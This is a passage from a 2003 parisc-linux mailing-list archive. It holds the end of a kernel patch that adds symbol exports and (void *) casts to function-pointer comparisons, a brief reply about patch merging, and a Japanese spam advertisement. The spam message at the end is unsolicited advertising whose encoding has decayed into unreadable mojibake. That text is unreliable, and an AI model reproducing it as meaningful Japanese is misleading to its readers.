+kernel-y	+=3D hpux/
+endif
=20
 core-y	+=3D $(addprefix arch/parisc/, $(kernel-y))
 libs-y	+=3D arch/parisc/lib/ `$(CC) -print-libgcc-file-name`
Index: arch/parisc/kernel/parisc_ksyms.c
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
RCS file: /var/cvs/linux-2.5/arch/parisc/kernel/parisc_ksyms.c,v
retrieving revision 1.16
diff -u -r1.16 parisc_ksyms.c
--- arch/parisc/kernel/parisc_ksyms.c	10 Apr 2003 04:45:31 -0000	1.16
+++ arch/parisc/kernel/parisc_ksyms.c	11 May 2003 13:09:16 -0000
@@ -11,6 +11,7 @@
 EXPORT_SYMBOL_NOVERS(memset);
 EXPORT_SYMBOL(memcmp);
 EXPORT_SYMBOL_NOVERS(memcpy);
+EXPORT_SYMBOL(memchr);
 EXPORT_SYMBOL(memmove);
 EXPORT_SYMBOL(strcat);
 EXPORT_SYMBOL(strchr);
@@ -39,7 +40,7 @@
 #include <asm/processor.h>
 EXPORT_SYMBOL(kernel_thread);
 EXPORT_SYMBOL(boot_cpu_data);
-#ifdef CONFIG_BINFMT_SOM
+#ifdef CONFIG_BINFMT_SOM_MODULE
 EXPORT_SYMBOL(map_hpux_gateway_page);
 #endif
 #ifdef CONFIG_EISA
@@ -80,6 +81,8 @@
 EXPORT_SYMBOL(register_parisc_driver);
 EXPORT_SYMBOL(unregister_parisc_driver);
 EXPORT_SYMBOL(pdc_iodc_read);
+EXPORT_SYMBOL(pdc_tod_read);
+EXPORT_SYMBOL(pdc_tod_set);
=20
 #include <asm/io.h>
 EXPORT_SYMBOL(__ioremap);
@@ -107,7 +110,9 @@
 #include <asm/cache.h>
 EXPORT_SYMBOL(flush_kernel_dcache_range_asm);
 EXPORT_SYMBOL(flush_kernel_dcache_page);
+EXPORT_SYMBOL(__flush_dcache_page);
 EXPORT_SYMBOL(flush_all_caches);
+EXPORT_SYMBOL(dcache_stride);
=20
 #include <asm/unistd.h>
 extern long sys_open(const char *, int, int);
Index: arch/parisc/mm/init.c
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
RCS file: /var/cvs/linux-2.5/arch/parisc/mm/init.c,v
retrieving revision 1.14
diff -u -r1.14 init.c
--- arch/parisc/mm/init.c	5 May 2003 17:05:49 -0000	1.14
+++ arch/parisc/mm/init.c	11 May 2003 13:09:18 -0000
@@ -666,7 +666,7 @@
 		PAGE_SIZE, PAGE_GATEWAY);
 }
=20
-#ifdef CONFIG_BINFMT_SOM
+#if defined(CONFIG_BINFMT_SOM) || defined(CONFIG_BINFMT_SOM_MODULE)
 void
 map_hpux_gateway_page(struct task_struct *tsk, struct mm_struct *mm)
 {
@@ -735,7 +735,7 @@
 	pg_table =3D (pte_t *) __va(pg_table) + start_pte;
 	set_pte(pg_table, __mk_pte(address, PAGE_GATEWAY));
 }
-#endif
+#endif /* CONFIG_BINFMT_SOM{,_MODULE} */
=20
 extern void flush_tlb_all_local(void);
=20
Index: arch/parisc/oprofile/init.c
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
RCS file: /var/cvs/linux-2.5/arch/parisc/oprofile/init.c,v
retrieving revision 1.5
diff -u -r1.5 init.c
--- arch/parisc/oprofile/init.c	8 May 2003 13:31:44 -0000	1.5
+++ arch/parisc/oprofile/init.c	11 May 2003 13:09:18 -0000
@@ -11,6 +11,8 @@
 #include <linux/init.h>
 #include <linux/kernel.h>
 #include <linux/oprofile.h>
+#include <linux/init.h>
+#include <linux/errno.h>
=20
 extern void timer_init(struct oprofile_operations ** ops);
=20
Index: drivers/block/loop.c
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
RCS file: /var/cvs/linux-2.5/drivers/block/loop.c,v
retrieving revision 1.17
diff -u -r1.17 loop.c
--- drivers/block/loop.c	5 May 2003 17:06:23 -0000	1.17
+++ drivers/block/loop.c	11 May 2003 13:09:24 -0000
@@ -368,7 +368,7 @@
 	/*
 	 * check bi_end_io, may just be a remapped bio
 	 */
-	if (bio && bio->bi_end_io =3D=3D loop_end_io_transfer) {
+	if (bio && bio->bi_end_io =3D=3D (void *)loop_end_io_transfer) {
 		int i;
=20
 		for (i =3D 0; i < bio->bi_vcnt; i++)
Index: drivers/char/n_tty.c
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
RCS file: /var/cvs/linux-2.5/drivers/char/n_tty.c,v
retrieving revision 1.8
diff -u -r1.8 n_tty.c
--- drivers/char/n_tty.c	5 May 2003 17:06:33 -0000	1.8
+++ drivers/char/n_tty.c	11 May 2003 13:09:26 -0000
@@ -808,7 +808,8 @@
 int is_ignored(int sig)
 {
 	return (sigismember(&current->blocked, sig) ||
-	        current->sighand->action[sig-1].sa.sa_handler =3D=3D SIG_IGN);
+	        current->sighand->action[sig-1].sa.sa_handler
+				=3D=3D (void *)SIG_IGN);
 }
=20
 static void n_tty_set_termios(struct tty_struct *tty, struct termios * old)
Index: drivers/input/serio/hp_sdc.c
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
RCS file: /var/cvs/linux-2.5/drivers/input/serio/hp_sdc.c,v
retrieving revision 1.2
diff -u -r1.2 hp_sdc.c
--- drivers/input/serio/hp_sdc.c	25 Dec 2002 00:39:09 -0000	1.2
+++ drivers/input/serio/hp_sdc.c	11 May 2003 13:09:29 -0000
@@ -669,7 +669,7 @@
=20
=20
 	write_lock_irq(&hp_sdc.hook_lock);
-	if ((callback !=3D hp_sdc.timer) ||
+	if (((void *)callback !=3D hp_sdc.timer) ||
 	    (hp_sdc.timer =3D=3D NULL)) {
 		write_unlock_irq(&hp_sdc.hook_lock);
 		return -EINVAL;
@@ -691,7 +691,7 @@
 int hp_sdc_release_hil_irq(hp_sdc_irqhook *callback) {
=20
 	write_lock_irq(&hp_sdc.hook_lock);
-	if ((callback !=3D hp_sdc.hil) ||
+	if (((void *)callback !=3D hp_sdc.hil) ||
 	    (hp_sdc.hil =3D=3D NULL)) {
 		write_unlock_irq(&hp_sdc.hook_lock);
 		return -EINVAL;
@@ -713,7 +713,7 @@
 int hp_sdc_release_cooked_irq(hp_sdc_irqhook *callback) {
=20
 	write_lock_irq(&hp_sdc.hook_lock);
-	if ((callback !=3D hp_sdc.cooked) ||
+	if (((void *)callback !=3D hp_sdc.cooked) ||
 	    (hp_sdc.cooked =3D=3D NULL)) {
 		write_unlock_irq(&hp_sdc.hook_lock);
 		return -EINVAL;
Index: drivers/net/tun.c
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
RCS file: /var/cvs/linux-2.5/drivers/net/tun.c,v
retrieving revision 1.6
diff -u -r1.6 tun.c
--- drivers/net/tun.c	24 Apr 2003 01:36:14 -0000	1.6
+++ drivers/net/tun.c	11 May 2003 13:09:32 -0000
@@ -358,7 +358,7 @@
 		/* Device exist */
 		tun =3D dev->priv;
=20
-		if (dev->init !=3D tun_net_init || tun->attached)
+		if (dev->init !=3D (void *)tun_net_init || tun->attached)
 			return -EBUSY;
=20
 		/* Check permissions */
Index: fs/ncpfs/sock.c
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
RCS file: /var/cvs/linux-2.5/fs/ncpfs/sock.c,v
retrieving revision 1.6
diff -u -r1.6 sock.c
--- fs/ncpfs/sock.c	15 Feb 2003 03:48:26 -0000	1.6
+++ fs/ncpfs/sock.c	11 May 2003 13:09:39 -0000
@@ -757,9 +757,9 @@
 			   What if we've blocked it ourselves?  What about
 			   alarms?  Why, in fact, are we mucking with the
 			   sigmask at all? -- r~ */
-			if (current->sighand->action[SIGINT - 1].sa.sa_handler =3D=3D SIG_DFL)
+			if (current->sighand->action[SIGINT - 1].sa.sa_handler =3D=3D (void *)S=
IG_DFL)
 				mask |=3D sigmask(SIGINT);
-			if (current->sighand->action[SIGQUIT - 1].sa.sa_handler =3D=3D SIG_DFL)
+			if (current->sighand->action[SIGQUIT - 1].sa.sa_handler =3D=3D (void *)=
SIG_DFL)
 				mask |=3D sigmask(SIGQUIT);
 		}
 		siginitsetinv(&current->blocked, mask);
Index: fs/proc/array.c
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
RCS file: /var/cvs/linux-2.5/fs/proc/array.c,v
retrieving revision 1.15
diff -u -r1.15 array.c
--- fs/proc/array.c	5 May 2003 17:08:54 -0000	1.15
+++ fs/proc/array.c	11 May 2003 13:09:41 -0000
@@ -213,9 +213,9 @@
=20
 	k =3D p->sighand->action;
 	for (i =3D 1; i <=3D _NSIG; ++i, ++k) {
-		if (k->sa.sa_handler =3D=3D SIG_IGN)
+		if (k->sa.sa_handler =3D=3D (void *)SIG_IGN)
 			sigaddset(ign, i);
-		else if (k->sa.sa_handler !=3D SIG_DFL)
+		else if (k->sa.sa_handler !=3D (void *)SIG_DFL)
 			sigaddset(catch, i);
 	}
 }
Index: kernel/signal.c
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
RCS file: /var/cvs/linux-2.5/kernel/signal.c,v
retrieving revision 1.19
diff -u -r1.19 signal.c
--- kernel/signal.c	24 Apr 2003 01:38:05 -0000	1.19
+++ kernel/signal.c	11 May 2003 13:09:55 -0000
@@ -144,12 +144,12 @@
 		(((sig) < SIGRTMIN)  && T(sig, SIG_KERNEL_STOP_MASK))
=20
 #define sig_user_defined(t, signr) \
-	(((t)->sighand->action[(signr)-1].sa.sa_handler !=3D SIG_DFL) &&	\
-	 ((t)->sighand->action[(signr)-1].sa.sa_handler !=3D SIG_IGN))
+	(((t)->sighand->action[(signr)-1].sa.sa_handler !=3D (void *)SIG_DFL) &&	\
+	 ((t)->sighand->action[(signr)-1].sa.sa_handler !=3D (void *)SIG_IGN))
=20
 #define sig_fatal(t, signr) \
 	(!T(signr, SIG_KERNEL_IGNORE_MASK|SIG_KERNEL_STOP_MASK) && \
-	 (t)->sighand->action[(signr)-1].sa.sa_handler =3D=3D SIG_DFL)
+	 (t)->sighand->action[(signr)-1].sa.sa_handler =3D=3D (void *)SIG_DFL)
=20
 static inline int sig_ignored(struct task_struct *t, int sig)
 {
@@ -171,8 +171,8 @@
=20
 	/* Is it explicitly or implicitly ignored? */
 	handler =3D t->sighand->action[sig-1].sa.sa_handler;
-	return   handler =3D=3D SIG_IGN ||
-		(handler =3D=3D SIG_DFL && sig_kernel_ignore(sig));
+	return   handler =3D=3D (void *)SIG_IGN ||
+		(handler =3D=3D (void *)SIG_DFL && sig_kernel_ignore(sig));
 }
=20
 /*
@@ -366,7 +366,7 @@
 	int i;
 	struct k_sigaction *ka =3D &t->sighand->action[0];
 	for (i =3D _NSIG ; i !=3D 0 ; i--) {
-		if (force_default || ka->sa.sa_handler !=3D SIG_IGN)
+		if (force_default || ka->sa.sa_handler !=3D (void *)SIG_IGN)
 			ka->sa.sa_handler =3D SIG_DFL;
 		ka->sa.sa_flags =3D 0;
 		sigemptyset(&ka->sa.sa_mask);
@@ -801,7 +801,7 @@
 	int ret;
=20
 	spin_lock_irqsave(&t->sighand->siglock, flags);
-	if (t->sighand->action[sig-1].sa.sa_handler =3D=3D SIG_IGN)
+	if (t->sighand->action[sig-1].sa.sa_handler =3D=3D (void *)SIG_IGN)
 		t->sighand->action[sig-1].sa.sa_handler =3D SIG_DFL;
 	sigdelset(&t->blocked, sig);
 	recalc_sigpending_tsk(t);
@@ -817,7 +817,7 @@
 	unsigned long int flags;
=20
 	spin_lock_irqsave(&t->sighand->siglock, flags);
-	if (t->sighand->action[sig-1].sa.sa_handler =3D=3D SIG_IGN)
+	if (t->sighand->action[sig-1].sa.sa_handler =3D=3D (void *)SIG_IGN)
 		t->sighand->action[sig-1].sa.sa_handler =3D SIG_DFL;
 	sigdelset(&t->blocked, sig);
 	recalc_sigpending_tsk(t);
@@ -1281,7 +1281,7 @@
 	psig =3D tsk->parent->sighand;
 	spin_lock_irqsave(&psig->siglock, flags);
 	if (sig =3D=3D SIGCHLD && tsk->state !=3D TASK_STOPPED &&
-	    (psig->action[SIGCHLD-1].sa.sa_handler =3D=3D SIG_IGN ||
+	    (psig->action[SIGCHLD-1].sa.sa_handler =3D=3D (void *)SIG_IGN ||
 	     (psig->action[SIGCHLD-1].sa.sa_flags & SA_NOCLDWAIT))) {
 		/*
 		 * We are exiting and our parent doesn't care.  POSIX.1
@@ -1299,7 +1299,7 @@
 		 * it, just use SIG_IGN instead).
 		 */
 		tsk->exit_signal =3D -1;
-		if (psig->action[SIGCHLD-1].sa.sa_handler =3D=3D SIG_IGN)
+		if (psig->action[SIGCHLD-1].sa.sa_handler =3D=3D (void *)SIG_IGN)
 			sig =3D 0;
 	}
 	if (sig > 0 && sig <=3D _NSIG)
@@ -1347,7 +1347,7 @@
=20
 	sighand =3D parent->sighand;
 	spin_lock_irqsave(&sighand->siglock, flags);
-	if (sighand->action[SIGCHLD-1].sa.sa_handler !=3D SIG_IGN &&
+	if (sighand->action[SIGCHLD-1].sa.sa_handler !=3D (void *)SIG_IGN &&
 	    !(sighand->action[SIGCHLD-1].sa.sa_flags & SA_NOCLDSTOP))
 		__group_send_sig_info(SIGCHLD, &info, parent);
 	/*
@@ -1581,9 +1581,9 @@
 		}
=20
 		ka =3D &current->sighand->action[signr-1];
-		if (ka->sa.sa_handler =3D=3D SIG_IGN) /* Do nothing.  */
+		if (ka->sa.sa_handler =3D=3D (void *)SIG_IGN) /* Do nothing.  */
 			continue;
-		if (ka->sa.sa_handler !=3D SIG_DFL) /* Run the handler.  */
+		if (ka->sa.sa_handler !=3D (void *)SIG_DFL) /* Run the handler.  */
 			return signr;
=20
 		/*
@@ -2034,8 +2034,8 @@
 		 *   (for example, SIGCHLD), shall cause the pending signal to
 		 *   be discarded, whether or not it is blocked"
 		 */
-		if (act->sa.sa_handler =3D=3D SIG_IGN ||
-		    (act->sa.sa_handler =3D=3D SIG_DFL &&
+		if (act->sa.sa_handler =3D=3D (void *)SIG_IGN ||
+		    (act->sa.sa_handler =3D=3D (void *)SIG_DFL &&
 		     sig_kernel_ignore(sig))) {
 			/*
 			 * This is a fairly rare case, so we only take the
Index: net/bridge/br_if.c
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
RCS file: /var/cvs/linux-2.5/net/bridge/br_if.c,v
retrieving revision 1.8
diff -u -r1.8 br_if.c
--- net/bridge/br_if.c	5 May 2003 17:09:51 -0000	1.8
+++ net/bridge/br_if.c	11 May 2003 13:09:56 -0000
@@ -208,7 +208,7 @@
 	if (dev->flags & IFF_LOOPBACK || dev->type !=3D ARPHRD_ETHER)
 		return -EINVAL;
=20
-	if (dev->hard_start_xmit =3D=3D br_dev_xmit)
+	if (dev->hard_start_xmit =3D=3D (void *)br_dev_xmit)
 		return -ELOOP;
=20
 	dev_hold(dev);
Index: net/bridge/br_netfilter.c
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
RCS file: /var/cvs/linux-2.5/net/bridge/br_netfilter.c,v
retrieving revision 1.6
diff -u -r1.6 br_netfilter.c
--- net/bridge/br_netfilter.c	5 May 2003 17:09:51 -0000	1.6
+++ net/bridge/br_netfilter.c	11 May 2003 13:09:56 -0000
@@ -521,8 +521,8 @@
    const struct net_device *in, const struct net_device *out,
    int (*okfn)(struct sk_buff *))
 {
-	if (in->hard_start_xmit =3D=3D br_dev_xmit &&
-	    okfn !=3D br_nf_pre_routing_finish) {
+	if (in->hard_start_xmit =3D=3D (void *)br_dev_xmit &&
+	    okfn !=3D (void *)br_nf_pre_routing_finish) {
 		okfn(*pskb);
 		return NF_STOLEN;
 	}
@@ -538,10 +538,10 @@
    const struct net_device *in, const struct net_device *out,
    int (*okfn)(struct sk_buff *))
 {
-	if (out->hard_start_xmit =3D=3D br_dev_xmit &&
-	    okfn !=3D br_nf_forward_finish &&
-	    okfn !=3D br_nf_local_out_finish &&
-	    okfn !=3D br_dev_queue_push_xmit) {
+	if (out->hard_start_xmit =3D=3D (void *)br_dev_xmit &&
+	    okfn !=3D (void *)br_nf_forward_finish &&
+	    okfn !=3D (void *)br_nf_local_out_finish &&
+	    okfn !=3D (void *)br_dev_queue_push_xmit) {
 		struct sk_buff *skb =3D *pskb;
 		struct nf_bridge_info *nf_bridge;
=20
Index: net/sunrpc/clnt.c
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
RCS file: /var/cvs/linux-2.5/net/sunrpc/clnt.c,v
retrieving revision 1.12
diff -u -r1.12 clnt.c
--- net/sunrpc/clnt.c	8 Apr 2003 15:21:04 -0000	1.12
+++ net/sunrpc/clnt.c	11 May 2003 13:10:00 -0000
@@ -255,9 +255,9 @@
 	/* Turn off various signals */
 	if (clnt->cl_intr) {
 		struct k_sigaction *action =3D current->sighand->action;
-		if (action[SIGINT-1].sa.sa_handler =3D=3D SIG_DFL)
+		if (action[SIGINT-1].sa.sa_handler =3D=3D (void *)SIG_DFL)
 			sigallow |=3D sigmask(SIGINT);
-		if (action[SIGQUIT-1].sa.sa_handler =3D=3D SIG_DFL)
+		if (action[SIGQUIT-1].sa.sa_handler =3D=3D (void *)SIG_DFL)
 			sigallow |=3D sigmask(SIGQUIT);
 	}
 	spin_lock_irqsave(&current->sighand->siglock, irqflags);




--=20
   Jan-Benedict Glaw       jbglaw@lug-owl.de    . +49-172-7608481
   "Eine Freie Meinung in  einem Freien Kopf    | Gegen Zensur | Gegen Krieg
    fuer einen Freien Staat voll Freier B=FCrger" | im Internet! |   im Ira=
k!
      ret =3D do_actions((curr | FREE_SPEECH) & ~(IRAQ_WAR_2 | DRM | TCPA));

--j/dCmPD2xgTAf6cP
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.1 (GNU/Linux)

iD8DBQE+vlB9Hb1edYOZ4bsRAq0/AJ4y2ZDvv5O2wRSSBenKsdQ/2kO4DgCeP0L+
lv8QlrzemAdkI/G+9Af6gsY=
=99ja
-----END PGP SIGNATURE-----

--j/dCmPD2xgTAf6cP--


From - Thu Nov 08 21:27:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: patch 2.4.21 (follow up)
Date: Mon, 12 May 2003 01:52:40 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <20030512005240.GT29534@parcelfarce.linux.theplanet.co.uk>
References: <3EA9466400001A07@ocpmta7.freegates.net> <1051702331.19579.8.camel@dhcp22.swansea.linux.org.uk> <3EBD7E24.408@tiscali.be> <1052604831.19351.4.camel@dhcp22.swansea.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622445 25599 80.91.229.3 (22 Nov 2014 02:14:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:05 +0000 (UTC)
Cc: Joel Soete <joel.soete@tiscali.be>,
	parisc-linux@lists.parisc-linux.org
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun May 11 18:52:42 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 74412482D
	for <parisc-linux@lists.parisc-linux.org>; Sun, 11 May 2003 18:52:42 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 19F1YW-0004Ot-Jj; Mon, 12 May 2003 01:52:40 +0100
Content-Disposition: inline
In-Reply-To: <1052604831.19351.4.camel@dhcp22.swansea.linux.org.uk>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18446

On Sat, May 10, 2003 at 11:13:52PM +0100, Alan Cox wrote:
> Its in the 2.4.21rc2-ac tree. I've sent most of it to Marcelo on the
> grounds that it is zero risk even in a -rc because parisc doesnt work
> in his tree anyway. He may ask me to wait for 2.4.22pre1 though

That's the argument that's been made for the ia64 patchset.  He's not
been willing to take that either ;-(  Would it make life easier if you
took that too?  I can send that on in a separate mail if you like.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:27:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-2022-JP?B?GyRCI0kjQyNDO3Y2SEl0GyhC?= <icc@web-space.jp>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] =?ISO-2022-JP?B?GyRCTCQ+NUJ6OS05cCIoGyhCUEMbJEIlOSU/JUMlVUpnPTgbKEI=?=
Date: Mon, 12 May 2003 17:15:12 +0900
Lines: 40
Approved: news@gmane.org
Message-ID: <200305120821.h4C7xvOE003352@localhost.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-2022-JP"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622445 25602 80.91.229.3 (22 Nov 2014 02:14:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:05 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon May 12 02:15:24 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost.localdomain (p3242-ipadfx41marunouchi.tokyo.ocn.ne.jp [220.98.2.242])
	by dsl2.external.hp.com (Postfix) with ESMTP id A5EB4482D
	for <parisc-linux@lists.parisc-linux.org>; Mon, 12 May 2003 02:15:23 -0600 (MDT)
Original-Received: from XXX ([192.168.1.11])
	by localhost.localdomain (8.12.5/8.11.2) with SMTP id h4C7xvOE003352
	for parisc-linux@lists.parisc-linux.org; Mon, 12 May 2003 17:21:05 +0900
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18447

<$B;v6H<T(B><$BAw?.<T(B>$B!!(BJS Co.,Ltd.
$B9A6h@>?766(B2-22-1
JSA$B;v6HIt(B
jsa@web-space.jp
----------------------------------------------------------
$BFCDj>&<h0zK!;\9T5,B'!!<u$1<h$j$r4uK>$7$J$$>l9g$NO"MmJ}K!(B
$BJ@<R$+$i$N9-9p%a!<%k$NG[?.Dd;_$r4uK>$N>l9g$O!"(B
$B-!2<5-#U#R#L$h$j%"%I%l%9$r$*CN$i$;$/$@$5$$!#(B
http://web-space.jp/jsa/kaijyo2.html
$B-"7oL>$r!VG[?.Dd;_!W$H=q$-49$((B
$B$3$N%a!<%k$rJV?.$7$F$/$@$5$$!#(B
$B$=$NJV?.85$N%"%I%l%9$KBP$9$kG[?.$ODd;_$$$?$7$^$9!#(B
$B!!!!!!!!(Bjsa@web-space.jp

$B!z!z!z!z!z!z(BPC$B:_Bp%9%?%C%UJg=8!z!z!z!z!z!z(B
 $B!!!!!ZJ8>O!&%G!<%?F~NO%9%?%C%U$N5^Jg![(B
 $B!z6HL30QBw7@Ls$K$F$*;E;v$r$*4j$$$7$^$9!z(B
 $B!y!y!y!y!y!y!y!y!y!y!y!y!y!y!y!y!y!y!y!y!y(B
 $B>\:Y!&;qNA@A5a$O2<5-(BURL$B$+$i(B
 http://web-space.jp/jsa/
